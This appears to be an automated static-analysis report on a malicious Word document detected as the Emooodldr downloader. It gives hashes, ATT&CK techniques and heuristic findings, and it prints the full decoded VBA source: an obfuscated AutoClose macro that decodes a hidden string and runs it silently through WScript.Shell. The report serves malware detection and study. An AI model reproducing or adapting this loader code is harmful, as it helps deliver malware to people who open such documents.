Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 9a16fe595e5e8dbe…

MALICIOUS

Office (OOXML)

53.9 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-09-30
MD5: 94ec8bac411ca35917a304d48e8e6cd6 SHA-1: fc60bcd6b753cc65c7f3e333a7c5b3c9edd92222 SHA-256: 9a16fe595e5e8dbe0604fa4d307250e4f47a86e7793378b5df7b16891ff21bb1
350 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing a VBA macro. The AutoClose macro is obfuscated and uses CreateObject and Shell calls to execute a decoded string. This string, when decoded, is likely a URL or command to download and run a second-stage payload, as indicated by the ClamAV detection 'Doc.Malware.Emooodldr-6711604-0'. The macro's obfuscation and execution of external code strongly suggest a downloader functionality.

Heuristics 8

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         If gardenia - diplosphenal > 1 Then
       CreateObject(Join(Array(aminoguanidine, "Shell"), ".")).Run snagged, 0
       dechlorinates = False
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "ecologically", saddlecloth
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If gardenia - diplosphenal > 1 Then
       CreateObject(Join(Array(aminoguanidine, "Shell"), ".")).Run snagged, 0
       dechlorinates = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  fork = Array("o", "x", "t", "a", "s", "G", "w", "g", "w", "P", "t", "a", "a", "O", "j", "Q", "Q", "s", "K", "o", "o", "s", "x", "E", "o", "q", "c", "E", "g", "I", "0", "w", "I", "I", "a", "4", "G", "q", "8", "o", "Q", "9", "B", "B", "Q", "7", "K", "w", "w", "A", "G", "O", "t", "O", "L", "m", "a", "o", "s", "Z", "1", "0", "E", "w", "v", "8", "E", "q")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2140 bytes
SHA-256: 4b1a5dc05a329c0f17b0257f043535bf62067ff9d59e651aeeaaa3932ddfa99b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function cleridae(fork)
  unleagued = Array("L", "o", "E", "Q", "A", "0", "s", "m", "v", "I", "w", "g", "K", "a", "B", "t", "P", "x", "O", "1", "G", "q", "c", "7", "Z", "9", "j", "8", "4")
  orchidist = Array("?", "m", "n", "/", "d", "i", "a", "u", "f", "q", "e", "x", "r", "t", "B", "h", " ", "s", "p", "w", ".", "c", "z", "g", "=", "F", ":", "o", "y")
  
  unjournalized = vbNullString
  
  For Each rotund In fork
    phlegmagogue = villager(rotund, unleagued, UBound(unleagued))
    If phlegmagogue > -1 Then
    unjournalized = orchidist(phlegmagogue) & unjournalized
    End If
  Next
  
  cleridae = StrReverse(unjournalized)
  
End Function

Public Function villager(pareioplitae, crucian, sinhalese)
  agaric = 5553
  smachrie = 772
  For agaric = 0 To sinhalese
    If crucian(agaric) = pareioplitae And agaric > -1 Then
     smachrie = agaric
    End If
  Next

  If smachrie = 772 Then
    smachrie = -1
  End If
  
  villager = smachrie
End Function

Sub AutoClose()
  fork = Array("o", "x", "t", "a", "s", "G", "w", "g", "w", "P", "t", "a", "a", "O", "j", "Q", "Q", "s", "K", "o", "o", "s", "x", "E", "o", "q", "c", "E", "g", "I", "0", "w", "I", "I", "a", "4", "G", "q", "8", "o", "Q", "9", "B", "B", "Q", "7", "K", "w", "w", "A", "G", "O", "t", "O", "L", "m", "a", "o", "s", "Z", "1", "0", "E", "w", "v", "8", "E", "q")
  saddlecloth = cleridae(fork)
  
  Application.Run "ecologically", saddlecloth
  
End Sub


Private Sub ecologically(snagged)
   
   aminoguanidine = "WScript"
   diplosphenal = 3271
   dechlorinates = True
   
   While dechlorinates
     gardenia = diplosphenal + 60
     If gardenia - diplosphenal > 1 Then
       CreateObject(Join(Array(aminoguanidine, "Shell"), ".")).Run snagged, 0
       dechlorinates = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 644a9c7a5cb7ad0dc0d92d7082329a177088c6644c577e32eb19f1f1aaba4b13
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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